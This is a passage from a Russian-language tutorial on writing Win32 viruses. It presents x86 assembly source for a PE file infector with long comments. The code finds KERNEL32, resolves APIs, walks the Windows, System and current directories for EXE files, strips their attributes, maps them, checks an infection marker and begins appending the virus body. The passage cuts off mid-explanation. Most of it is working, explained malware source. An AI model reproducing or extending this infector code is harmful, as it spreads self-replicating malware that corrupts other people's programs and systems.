        call    GetK32                          ; Вызываем процедуру
        mov     dword ptr [ebp+kernel],eax      ; EAX будет содержать адрес
                                                ; базы образа K32

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Сначала мы помещаем в ESI адрес, откуда был вызван процесс (он находится ;
 ; в KERNEL32.DLL, вероятно API-функция CreateProcess). Изначально это      ;
 ; адрес, на который указывает ESP, но так как мы поместили в стек 24 байта ;
 ; (20 использовал PUSHAD, другие 4 - PUSHFD), нам необходимо это учесть. А ;
 ; после этого мы выравниваем его на 10 страниц, делая самое младшее слова  ;
 ; равным нулю. После этого мы устанавливаем другие параметры для процедуры ;
 ; GetK32, ECX, который содержит максимальное количество групп по 10        ;
 ; страниц, делаем равным 5 (что дает 5*10=50 страниц), а после чего мы     ;
 ; вызываем процедуру. Как только она вернет нам правильный адрес базы      ;
 ; KERNEL32, мы его сохраняем.                                              ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

        lea     edi,[ebp+@@Offsetz]
        lea     esi,[ebp+@@Namez]
        call    GetAPIs                         ; Получаем все API-функции

        call    PrepareInfection
        call    InfectItAll

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Сначала мы задаем параметры процедуры GetAPIs: EDI, указывающий на       ;
 ; массив DWORD'ов, которые будут содержать адреса API-функций и ESI,       ;
 ; указывающий на имена API-функций (в формате ASCIIz), которые необходимо  ;
 ; найти.                                                                   ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

        xchg    ebp,ecx                         ; Это первое поколение?
        jecxz   fakehost

        popfd                                   ; Восстанавливаем все флаги
        popad                                   ; Восстанавливаем все
                                                ; регистры

        mov     eax,12345678h
        org     $-4
OldEIP  dd      00001000h

        add     eax,12345678h
        org     $-4
ModBase dd      00400000h

        jmp     eax

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Сначала мы смотрим, не является ли данное поколение вируса первым,       ;
 ; проверяя не равен ли EBP нулю. Если это так, то мы переходим к носителю  ;
 ; первого поколения. Если это не так, мы восстанавливаем из стека регистр  ;
 ; флагов и все расширенные регистры. После это идет инструкция, помещающая ;
 ; в EAX старую точку входа зараженной программы (это патчится во время     ;
 ; заражения), а затем мы добавляем к ней адрес базы текущего процесса      ;
 ; (патчится во время выполнения).                                          ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

PrepareInfection:
        lea     edi,[ebp+WindowsDir]            ; Указатель на 1ую директор.
        push    7Fh                             ; Размер буфера
        push    edi                             ; Адрес буфера
        call    [ebp+_GetWindowsDirectoryA]     ; Получаем директорию Windows

        add     edi,7Fh                         ; Указатель на 2ую директор.
        push    7Fh                             ; Размер буфера
        push    edi                             ; Адрес буфера
        call    [ebp+_GetSystemDirectoryA]      ; Получаем системную дир.

        add     edi,7Fh                         ; Указатель на 3ью директор.
        push    edi                             ; Адрес буфера
        push    7Fh                             ; Размер буфера
        call    [ebp+_GetCurrentDirectoryA]     ; Получаем текущую директорию
        ret

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Ок, это простая процедура, которая используется для получения всех       ;
 ; директорий, где вирус будет искать файлы для заражения. Так как          ;
 ; максимальная длина директории 7F байтов, я помещаю в кучу (смотри ниже)   ;
 ; три переменных, избегая лишних байтов и бесполезных данных. Обратите    ;
 ; внимание, что в последнем вызове API-функции нет никаких ошибок. Давайте ;
 ; глубже проанализируем эти функции:                                       ;
 ;                                                                          ;
 ; Функция GetWindowsDirectory получает путь к директории Windows.          ;
 ; Директория Windows содержит различные приложения, инициализационные      ;
 ; файлы и файлы помощи.                                                    ;
 ;                                                                          ;
 ; UINT GetWindowsDirectory(                                                ;
 ;   LPTSTR lpBuffer,    // адрес буфера для директории Windows             ;
 ;   UINT uSize  // размер буфера                                           ;
 ;  );                                                                      ;
 ;                                                                          ;
 ; Параметры                                                                ;
 ; ---------                                                                ;
 ; ¦ lpBuffer: указывает на буфер, в котором будет помещен путь к           ;
 ;   директории. Этот путь не будет заканчиваться слешом, если только       ;
 ;   директорией Windows не является корневая директория. Например, если    ;
 ;   директория Windows - это папка WINDOWS на диске C, то путь полученный  ;
 ;   путь к директории Windows будет "C:\WINDOWS". Если Windows была        ;
 ;   инсталлирована в корневой директории диска C, то полученный путь будет ;
 ;   "C:\".                                                                 ;
 ; ¦ uSize: Указывает максимальный размер в символах буфера, который задан  ;
 ;   параметором lpBuffer. Это значение должно быть равно по крайней мере   ;
 ;   MAX_PATH, чтобы обеспечить достаточное количество места в буфере для   ;
 ;   пути.                                                                  ;
 ;                                                                          ;
 ; Return Values                                                            ;
 ; -------------                                                            ;
 ; Возвращаемые значения                                                    ;
 ; ---------------------                                                    ;
 ;                                                                          ;
 ; ¦ Если вызов функции прошел успешно, возвращаемое значение - это длина   ;
 ;   скопированной в буфер строки в символах, не включая завершающий символ ;
 ;   NULL.                                                                  ;
 ; ¦ Если длина больше размера буфера, то возвращаемое значение - это       ;
 ;   требуемый размер буфера.                                               ;
 ;                                                                          ;
 ; ---                                                                      ;
 ;                                                                          ;
 ; Функция GetSystemDirectory получает путь к системной директории Windows. ;
 ; Системная директория содержит драйвера, библиотеки Windows и файлы       ;
 ; шрифтов.                                                                 ;
 ;                                                                          ;
 ; UINT GetSystemDirectory(                                                 ;
 ;   LPTSTR lpBuffer,    // адрес буфера                                    ;
 ;   UINT uSize  // размер буфера                                           ;
 ;  );                                                                      ;
 ;                                                                          ;
 ;                                                                          ;
 ; Параметры                                                                ;
 ; ---------                                                                ;
 ;                                                                          ;
 ; ¦ lpBuffer: указывает на буфер, в который будет помещен путь к системной ;
 ;   директории. Так же как и в предыдущем случае путь не будет             ;
 ;   заканчиваться слешем, если только системная директория не является     ;
 ;   корневой.                                                              ;
 ;                                                                          ;
 ; ¦ uSize: задает максимальный размер буфера в символах. Это значение      ;
 ;   должно быть не меньше MAX_PATH.                                        ;
 ;                                                                          ;
 ; Возвращаемые значения                                                    ;
 ; ---------------------                                                    ;
 ;                                                                          ;
 ; ¦ Если вызов функции прошел успешно, возвращаемое значение - это длина   ;
 ;   скопированной в буфер строки в символах, не включая завершающий символ ;
 ;   NULL. Если длина больше размера буфера, то возвращаемое значение - это ;
 ;   требуемый размер буфера.                                               ;
 ;                                                                          ;
 ; ---                                                                      ;
 ;                                                                          ;
 ; Функция GetCurrentDirectory получает текущую директорию для текущего     ;
 ; процесса.                                                                ;
 ;                                                                          ;
 ; DWORD GetCurrentDirectory(                                               ;
 ;   DWORD nBufferLength,        // размер буфера в символах                ;
 ;   LPTSTR lpBuffer     // адрес буфера                                    ;
 ;  );                                                                      ;
 ;                                                                          ;
 ; Параметры                                                                ;
 ; ---------                                                                ;
 ;                                                                          ;
 ; ¦ nBufferLength: задает длину буфера, в который будет помещен путь к     ;
 ;   текущей директории. Должен учитываться завершающий символ NULL.        ;
 ;                                                                          ;
 ; ¦ lpBuffer: задает адрес буфера. Полученная строка будет абсолютным      ;
 ;   путем к текущей директории.                                            ;
 ;                                                                          ;
 ; Возвращаемые значения                                                    ;
 ; ---------------------                                                    ;
 ;                                                                          ;
 ; ¦ Если вызов функции прошел успешно, возвращаемое значение задает        ;
 ;   количество символов, записанных в буфер (завершающий символ NULL не    ;
 ;   учитывается.                                                           ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

InfectItAll:
        lea     edi,[ebp+directories]           ; Указатель на 1ую дир.
        mov     byte ptr [ebp+mirrormirror],03h ; 3 директории
requiem:
        push    edi                             ; Устанавливаем в качестве
        call    [ebp+_SetCurrentDirectoryA]     ; текущей директорию, на
                                                ; которую указывает EDI

        push    edi                             ; Сохраняем EDI
        call    Infect                          ; Заражает файлы в выбранной
                                                ; директории
        pop     edi                             ; Восстанавливаем EDI

        add     edi,7Fh                         ; Другая директория

        dec     byte ptr [ebp+mirrormirror]     ; Уменьшаем значение счетчика
        jnz     requiem                         ; Последний? Если нет, то
                                                ; повторим
        ret

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Вначале мы делаем так, чтобы EDI указывал на первую директорию в         ;
 ; массиве, после чего мы устанавливаем количество директорий, которые      ;
 ; хотим заразить (dirs2inf=3). Затем мы входим в главный цикл. Он          ;
 ; заключается в следующем: мы изменяем текущую директорию на               ;
 ; обрабатываемую в данный момент из массива, потом заражаем все файлы в    ;
 ; этой директории, после чего переходим к другой директории, пока не       ;
 ; обработаем все 3. Просто, правда? :) Теперь время рассмотреть            ;
 ; характеристики API-функции SetCurrentDirectory:                          ;
 ;                                                                          ;
 ; Функция SetCurrentDirectory изменяет текущую директорию данного          ;
 ; процесса.                                                                ;
 ;                                                                          ;
 ; BOOL SetCurrentDirectory(                                                ;
 ;   LPCTSTR lpPathName  // адрес имени новой текущей директории            ;
 ;  );                                                                      ;
 ;                                                                          ;
 ; Параметры                                                                ;
 ; ---------                                                                ;
 ;                                                                          ;
 ; ¦ lpPathName: указывает на строку, задающую путь к новой директории.     ;
 ;   Путь может быть как относительным, так и абсолютным. В любом случае    ;
 ;   высчитывается полный путь к директории и устанавливается в качестве    ;
 ;   текущего.                                                              ;
 ;                                                                          ;
 ; Возвращаемые значения                                                    ;
 ; ---------------------                                                    ;
 ;                                                                          ;
 ; ¦ Если вызов функции прошел успешно, возвращаемое значение не равно      ;
 ;   нулю.                                                                  ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

Infect: and     dword ptr [ebp+infections],00000000h ; сброс счетчика

        lea     eax,[ebp+offset WIN32_FIND_DATA] ; Находим структуру
        push    eax                             ; Заталкиваем ее в стек
        lea     eax,[ebp+offset EXE_MASK]       ; Маска, по которой искать
        push    eax                             ; Заталкиваем ее

        call    [ebp+_FindFirstFileA]           ; Получаем первый подходящий
                                                ; файл

        inc     eax                             ; CMP EAX,0FFFFFFFFh
        jz      FailInfect                      ; JZ  FAILINFECT
        dec     eax

        mov     dword ptr [ebp+SearchHandle],eax ; Сохраняем хэндл поиска

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Это первая часть процедуры. Первая строка сбрасывает счетчик заражения   ;
 ; (то есть устанавливает его в 0) оптимизированным образом (в данном       ;
 ; случае AND меньше чем MOV). Сбросив счетчик, мы начинаем искать файлы,   ;
 ; которые можно заразить ;). Ок, в DOS у нас были функции INT 21           ;
 ; 4Eh/4Fh... В Win32 у нас есть 2 эквивалентные API-функции: FindFirstFile ;
 ; и FindNextFile. Теперь нам нужно найти 1ый файл в директории. Все        ;
 ; Win32-функции для поиска файлов используют одну и ту же структуру (вы    ;
 ; помните DTA?) под названием WIN32_FIND_DATA (зачастую ее называние       ;
 ; сокращают до WFD). Давайте посмотрим на ее поля:                         ;
 ;                                                                          ;
 ; MAX_PATH                equ     260  <-- Максимальная длина пути         ;
 ;                                                                          ;
 ; FILETIME                STRUC        <-- Структура для обработки времени ;
 ; FT_dwLowDateTime        dd      ?        (используется во многих         ;
 ; FT_dwHighDateTime       dd      ?        Win32-структурах)               ;
 ; FILETIME                ENDS                                             ;
 ;                                                                          ;
 ; WIN32_FIND_DATA         STRUC                                            ;
 ; WFD_dwFileAttributes    dd      ?    <-- Содержит аттрибуты файла        ;
 ; WFD_ftCreationTime      FILETIME ?   <-- Время создание файла            ;
 ; WFD_ftLastAccessTime    FILETIME ?   <-- Время последнего доступа к файлу;
 ; WFD_ftLastWriteTime     FILETIME ?   <-- Время последней записи в файл   ;
 ; WFD_nFileSizeHigh       dd      ?    <-- Младший dword размера файла     ;
 ; WFD_nFileSizeLow        dd      ?    <-- Старший dword размера файла     ;
 ; WFD_dwReserved0         dd      ?    <-- Зарезервировано                 ;
 ; WFD_dwReserved1         dd      ?    <-- Зарезервировано                 ;
 ; WFD_szFileName          db      MAX_PATH dup (?) <-- ASCIIz-имя файла    ;
 ; WFD_szAlternateFileName db      13 dup (?) <-- Имя файла без пути        ;
 ;                         db      03 dup (?) <-- выравнивание              ;
 ; WIN32_FIND_DATA         ENDS                                             ;
 ;                                                                          ;
 ; ¦ dwFileAttributes: содержит аттрибуты найденного файла. Это поле может  ;
 ;   содержать одно из следующих значений [недостаточно места включения их  ;
 ;   сюда: вы можете найти их в .inc-файлах из 29A и в пособиях, о которых  ;
 ;   было сказано выше.                                                     ;
 ;                                                                          ;
 ; ¦ ftCreationTime: структура FILETIME, содержащая время, когда был создан ;
 ;   файл. FindFirstFile и FindNextFile задают время в формате UTC          ;
 ;   (Coordinated Universal Time). Эти фукнции делают поля FILETIME равными ;
 ;   нулю, если файловая система не поддерживает данные поля. Вы можете     ;
 ;   использовать функцию FileTimeToLocalFileTime для конвертирования из    ;
 ;   UTC в местное время, а затем функцию FileTimeToSystemTime, чтобы       ;
 ;   сконвертировать местное время в структуру SYSTEMTIME, которая содержит ;
 ;   отдельные поля для месяца, дня, года, дня недели, часа, минуты, секунды ;
 ;   и миллисекунды.                                                        ;
 ;                                                                          ;
 ; ¦ ftLastAccessTime: структура FILETIME, содержащая время, когда к файлу  ;
 ;   был осуществен доступ в последний раз.                                 ;
 ;                                                                          ;
 ; ¦ ftLastWriteTime: структура FILETIME, содержащая время, когда в         ;
 ;   последний раз в файл осуществлялась запись. Время в формате UTC; поля  ;
 ;   FILETIME равны нулю, если файловая система не поддерживает это поле.   ;
 ;                                                                          ;
 ; ¦ nFileSizeHigh: верхний DWORD размера файла в байтах. Это значение      ;
 ;   равно нулю, если только размер файле не больше MAXDWORD. Размер файла  ;
 ;   равен (nFileSizeHigh * MAXDWORD) + nFileSizeLow.                       ;
 ;                                                                          ;
 ; ¦ nFileSizeLow: содержит нижний DWORD размера файла в байтах.            ;
 ;                                                                          ;
 ; ¦ dwReserved0: зарезервировано для будущего использования.               ;
 ;                                                                          ;
 ; ¦ dwReserved1: зарезервировано для будущего использования.               ;
 ;                                                                          ;
 ; ¦ cFileName: имя файла, заканчивающееся NULL'ом.                         ;
 ;                                                                          ;
 ; ¦ cAlternateFileName: альтернативное имя файла в классическом 8.3        ;
 ;   (filename.ext) формате.                                                ;
 ;                                                                          ;
 ; Теперь, когда мы изучили поля структуры WFD, мы можем более тщательно    ;
 ; рассмотреть функции поиска. Во-первых, давайте посмотрим описание        ;
 ; API-функции FindFirstFileA:                                              ;
 ;                                                                          ;
 ; Функция FindFirstFile проводит в текущей директории поиск файлов, чье    ;
 ; имя совпадает с заданным. FindFirstFile проверяет имена как обыкновенных ;
 ; файлов, так и поддиректорий.                                             ;
 ;                                                                          ;
 ; HANDLE FindFirstFile(                                                    ;
 ;   LPCTSTR lpFileName,  // указатель на имя файла, который надо найти     ;
 ;   LPWIN32_FIND_DATA lpFindFileData    // указатель на возвращенную       ;
 ;                                       // информацию                      ;
 ;  );                                                                      ;
 ;                                                                          ;
 ; Параметры                                                                ;
 ; ---------                                                                ;
 ;                                                                          ;
 ; ¦ lpFileName: A. Windows 95: указатель на строку, которая задает         ;
 ;                  валидную директорию или путь и имя файла, которые могут ;
 ;                  содержать символы * и ?). Эта строка не должна          ;
 ;                  превышать MAX_PATH символов.                            ;
 ;               B. Windows NT: указатель на строку, которая задает         ;
 ;                  валидную директорию или путь и имя файла, которые могут ;
 ;                  содержать символы                                       ;
 ;                                                                          ;
 ; Ограничение длины пути составляет MAX_PATH символов. Этот лимит задает,  ;
 ; каким образом функция FindFirstFile парсит пути. Приложение может обойти ;
 ; это ограничение и послать пути длинее MAX_PATH символов, вызывав         ;
 ; юникодовую (W) версию FindFirstFile и добавив к началу пути "\\?\".      ;
 ; Последнее говорит функции отключить парсинг пути; это позволяет          ;
 ; использовать путь длинее MAX_PATH символов. Как составляющая пути "\\?\" ;
 ; игнорируется. Например "\\?\C:\myworld\private" будет расцениваться как  ;
 ; "C:\myworld\private", а "\\?\UNC\bill_g_1\hotstuff\coolapps" будет       ;
 ; считаться как "\\bill_g_1\hotstuff\coolapps".                            ;
 ;                                                                          ;
 ; ¦ lpFindFileData: указывает на структуру WIN32_FIND_DATA, которая        ;
 ;   получает информацию о найденном файле или поддиректории. Структуру     ;
 ;   можно использовать в последующих вызовах функций FindNextFile или      ;
 ;   FindClose (хм... в последней функции WFD не нужна - прим. пер.).       ;
 ;                                                                          ;
 ; Возвращаемые значения                                                    ;
 ; ---------------------                                                    ;
 ;                                                                          ;
 ; ¦ Если вызов функции прошел успешно, возвращаемое значение является      ;
 ;   хэндлом поиска, которое можно использовать в последующих вызовах       ;
 ;   FindNextFile или FileClose.                                            ;
 ;                                                                          ;
 ; ¦ Если вызов функции не удался, возвращаемое значение равно              ;
 ;   INVALID_HANDLE_VALUE. Чтобы получить расширенную информацию, вызовите  ;
 ;   GetLastError.                                                          ;
 ;                                                                          ;
 ; Теперь вы знаете значение всех параметров функции FindFirstFile. Между   ;
 ; прочим, теперь вам также известно, что означают последние строки         ;
 ; нижеследующего блока кода :).                                            ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

__1:    push    dword ptr [ebp+OldEIP]          ; Сохраняем OldEIP и ModBase,
        push    dword ptr [ebp+ModBase]         ; изменяющиеся во время
                                                ; заражения

        call    Infection                       ; Заражаем найденный файл

        pop     dword ptr [ebp+ModBase]         ; Восстанавливаем их
        pop     dword ptr [ebp+OldEIP]

        inc     byte ptr [ebp+infections]       ; Увеличиваем значение
                                                ; счетчика
        cmp     byte ptr [ebp+infections],05h   ; Превысили наш лимит?
        jz      FailInfect                      ; Черт...

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Первое, что мы должны сделать - это сохранить значение нескольких важных ;
 ; переменных, которые нужно будет использовать после того, как мы возвратим;
 ; контроль носителю, но которые, к сожалению, меняются во время заражения  ;
 ; файлов. Мы вызываем процедуру заражения: нам требуется только информация ;
 ; о WFD, поэтому нам не нужно передавать ей какие-либо параметры. После    ;
 ; заражения соответствующих файлов мы восстанавливаем значения измененных  ;
 ; переменных, а затем увеличиваем счетчик заражения и проверяем, заразили  ;
 ; ли мы уже 5 файлов (предел количества заражений нашего вируса). Если это ;
 ; случилось, вирус выходит из процедуры заражения.                         ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

__2:    lea     edi,[ebp+WFD_szFileName]        ; Указатель на имя файла
        mov     ecx,MAX_PATH                    ; ECX = 260
        xor     al,al                           ; AL = 00
        rep     stosb                           ; Очищаем пеpеменную со
                                                ; стаpым именем файла
        lea     eax,[ebp+offset WIN32_FIND_DATA] ; Указатель на WFD
        push    eax                             ; Push'им ее
        push    dword ptr [ebp+SearchHandle]    ; Push'им хэндл поиска
        call    [ebp+_FindNextFileA]            ; Hаходим дpугой файл

        or      eax,eax                         ; Пpовал?
        jnz     __1                             ; Hет, заpажаем следующий файл

CloseSearchHandle:
        push    dword ptr [ebp+SearchHandle]    ; Push'им хэндл поиска
        call    [ebp+_FindClose]                ; И закpываем его

FailInfect:
        ret

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Пеpвый блок кода делает пpостую вещь - он уничтожает данные в стpуктуpе  ;
 ; WFD (конкpетно - данные об имени файла). Это делается для того, чтобы    ;
 ; избежать возможных пpоблем пpи нахождении следующего файла. Следующее,   ;
 ; что мы делаем - это вызываем фукнцию FindNextFile. Далее пpиводится ее   ;
 ; описание:                                                                ;
 ;                                                                          ;
 ; Функция FindNextFile пpодолжает файловый поиск, начатый вызовом функции  ;
 ; FindFirstFile.                                                           ;
 ;                                                                          ;
 ; BOOL FindNextFile(                                                       ;
 ;   HANDLE hFindFile,   // хэндл поиска                                    ;
 ;   LPWIN32_FIND_DATA lpFindFileData    // указатель на стpуктуpу данных   ;
 ;                                       // по найденному файлу             ;
 ;  );                                                                      ;
 ;                                                                          ;
 ; Паpаметpы                                                                ;
 ; ---------                                                                ;
 ;                                                                          ;
 ; ¦ hFindFile: идентифициpует хэндл поиска, возвpащенный пpедыдущим        ;
 ;   вызовом функции FindFirstFile.                                         ;
 ;                                                                          ;
 ; ¦ lpFindFileData: указывает на стpуктуpу WIN32_FIND_DATA, котоpая        ;
 ;   получает инфоpмацию о найденном файле или поддиpектоpии. Стpуктуpа     ;
 ;   может использоваться в дальнейших вызовах FindNextFile для ссылки на   ;
 ;   найденный файл или диpектоpию.                                         ;
 ;                                                                          ;
 ; Возвpащаемые значения                                                    ;
 ; ---------------------                                                    ;
 ;                                                                          ;
 ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение не pавно      ;
 ;   нулю.                                                                  ;
 ;                                                                          ;
 ; ¦ Если вызов функции пpоваливается, возвpащаемое значение pавно нулю.    ;
 ;   Чтобы получить дополнительную инфоpмацию об ошибке, вызовите           ;
 ;   GetLastError.                                                          ;
 ;                                                                          ;
 ; ¦ Если файлы, соответствующие вашему запpосу, не были найдены, функция   ;
 ;   возвpатит ERROR_NO_MORE_FILES.                                         ;
 ;                                                                          ;
 ; Если FindNextFile возвpатила ошибка или виpус уже сделал максимальное    ;
 ; количество заpажений, мы пеpеходим к последней пpоцедуpе данного блока.  ;
 ; Она заключается в закpытии хэндла поиска с помощью FindClose. Как обычно ;
 ; пpиводится описание данной функции.                                      ;
 ;                                                                          ;
 ; Функция FindClose закpывает пеpеданный ей хэндл поиска. Функции          ;
 ; FindFirstFile и FindNextFile используют хэндл поиска, чтобы находить     ;
 ; файлы, соответствующие заданному имени.                                  ;
 ;                                                                          ;
 ; BOOL FindClose(                                                          ;
 ;   HANDLE hFindFile    // хэндл поиска                                    ;
 ;  );                                                                      ;
 ;                                                                          ;
 ;                                                                          ;
 ; Паpаметpы                                                                ;
 ; ---------                                                                ;
 ;                                                                          ;
 ; ¦ hFindFile: хэндл поиска, возвpащенный функцией FindFirstFile.          ;
 ;                                                                          ;
 ; Возвpащаемые значения                                                    ;
 ; ---------------------                                                    ;
 ;                                                                          ;
 ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение не pавно      ;
 ;   нулю.                                                                  ;
 ;                                                                          ;
 ; ¦ Если вызов функции не удался, возвpащаемое значение pавно нулю. Чтобы  ;
 ;   получить дополнительную инфоpмацию, вызовите GetLastError.             ;
 ;                                                                          ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

Infection:
        lea     esi,[ebp+WFD_szFileName]        ; Получаем имя заpажаемого
                                                ; файла
        push    80h
        push    esi
        call    [ebp+_SetFileAttributesA]       ; Стиpаем его аттpибуты

        call    OpenFile                        ; Откpываем его

        inc     eax                             ; Если EAX = -1, пpоизошла
        jz      CantOpen                        ; ошибка
        dec     eax

        mov     dword ptr [ebp+FileHandle],eax

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Перове, что мы делаем, это стиpаем атpибуты файла и устанавливаем их    ;
 ; pавными стандаpтным. Это осуществляется с помощью функции                ;
 ; SetFileAttributes. Вот кpаткое объяснение данной функции:                ;
 ;                                                                          ;
 ; Функция SetFileAttributes устанавливает атpибуты файла.                 ;
 ;                                                                          ;
 ; BOOL SetFileAttributes(                                                  ;
 ;   LPCTSTR lpFileName, // адpес имени файла                               ;
 ;   DWORD dwFileAttributes      // адpес устанавливаемых атpибутов        ;
 ;  );                                                                      ;
 ;                                                                          ;
 ; Паpаметpы                                                                ;
 ; ---------                                                                ;
 ;                                                                          ;
 ; ¦ lpFileName: указывает на стpоку, задающую имя файла, чьи атpибуты     ;
 ;   устанавливаются.                                                       ;
 ;                                                                          ;
 ; ¦ dwFileAttributes: задает атpибуты файла, котоpые должны быть          ;
 ;   установлены. Этот паpаметp должен быть комбинацией значений, котоpые    ;
 ;   можно найти в соответствующем заголовочном файле. Как бы то ни было,   ;
 ;   стандаpтным значением является FILE_ATTRIBUTE_NORMAL.                  ;
 ;                                                                          ;
 ; Возвpащаемые значения                                                    ;
 ; ---------------------                                                    ;
 ;                                                                          ;
 ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение не pавно      ;
 ;   нулю.                                                                  ;
 ;                                                                          ;
 ; ¦ Если вызов функции не удался, возвpащаемое значение pавно нулю. Чтобы  ;
 ;   получить дополнительную инфоpмацию об ошибке, вызовите GetLastError.   ;
 ;                                                                          ;
 ; После установки новых атpибутов мы откpываем файл и, если не пpоизошло  ;
 ; ошибки, хэндл файла сохpаняется в соотвествующей пеpеменной.             ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

        mov     ecx,dword ptr [ebp+WFD_nFileSizeLow] ; во-пеpвых, мы
        call    CreateMap                       ; начинаем мэппиpовать файл

        or      eax,eax
        jz      CloseFile

        mov     dword ptr [ebp+MapHandle],eax

        mov     ecx,dword ptr [ebp+WFD_nFileSizeLow]
        call    MapFile                         ; Мэппиpуем его

        or      eax,eax
        jz      UnMapFile

        mov     dword ptr [ebp+MapAddress],eax

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Сначала мы помещаем в EC pазмеp файла, котоpый собиpаемся мэппиpовать,   ;
 ; после чего вызываем функцию мэппинга. Мы пpовеpяем на возможные ошибки,  ;
 ; и если таковых не пpоизошло, мы пpодолжаем. В пpотивном случае мы        ;
 ; закpываем файл. Мы сохpаняем хэндл меппинга и готовимся к завеpшающей    ;
 ; пpоцедуpе мэппиpования файла с помощью функции MapFile. Как и pаньше, мы ;
 ; мы пpовеpяем, не пpоизошло ли ошибки и поступаем в соответствии с        ;
 ; полученным pезультатом. Если все пpошло хоpошо, мы сохpаняем полученный  ;
 ; в pезультате мэппинга адpес.                                             ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

        mov     esi,[eax+3Ch]
        add     esi,eax
        cmp     dword ptr [esi],"EP"            ; Это PE?
        jnz     NoInfect

        cmp     dword ptr [esi+4Ch],"CTZA"     ; Заpажен ли он уже?
        jz      NoInfect

        push    dword ptr [esi+3Ch]

        push    dword ptr [ebp+MapAddress]      ; Закpываем все
        call    [ebp+_UnmapViewOfFile]

        push    dword ptr [ebp+MapHandle]
        call    [ebp+_CloseHandle]

        pop     ecx

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Адpес находится в EAX. Мы получаем указатель на PE-заголовок             ;
 ; (MapAddress+3Ch), затем ноpмализуем его и, таким обpазом, получаем       ;
 ; pаботающий указатель на PE-заголок в ESI. С помощью сигнатуpы мы         ;
 ; пpовеpяем, веpен ли он, после чего удостовеpиваемся, что файл не был     ;
 ; заpажен pанее (мы сохpаняем специальную метку заpажения в PE по смещению ;
 ; 4Ch, не используемую пpогpаммой), после чего сохpаняем в стеке           ;
 ; выpавнивание файла (File Alignement) (смотpи главу о фоpмате заголовка   ;
 ; PE). Затем закpываем хэндл мэппинг и восстанавливаем запушенное pанее    ;
 ; выpавнивание файла из стека, сохpаняя его в pегистpе ECX.                ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

        mov     eax,dword ptr [ebp+WFD_nFileSizeLow] ; и мэппим все снова
        add     eax,virus_size

        call    Align
        xchg    ecx,eax

        call    CreateMap
        or      eax,eax
        jz      CloseFile

        mov     dword ptr [ebp+MapHandle],eax

        mov     ecx,dword ptr [ebp+NewSize]
        call    MapFile

        or      eax,eax
        jz      UnMapFile

        mov     dword ptr [ebp+MapAddress],eax

        mov     esi,[eax+3Ch]
        add     esi,eax

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Hаходящееся в ECX выpавнивание файла необходимо для последующего вызова  ;
 ; функции Align, котоpый мы и совеpшаем, пpедваpительно поместив в EAX     ;
 ; pазмеp откpытого файла плюс pазмеp виpуса. Функция возвpащает нам        ;
 ; выpавненный pазмеp файла. Hапpимеp, если выpавнивание pавно 200h, а      ;
 ; pазмеp файла + pазмеp виpуса - 1234h, то функция 'Align' возвpатит нам   ;
 ; 12400h. Результат мы помещаем в ECX. Мы снова вызываем функцию           ;
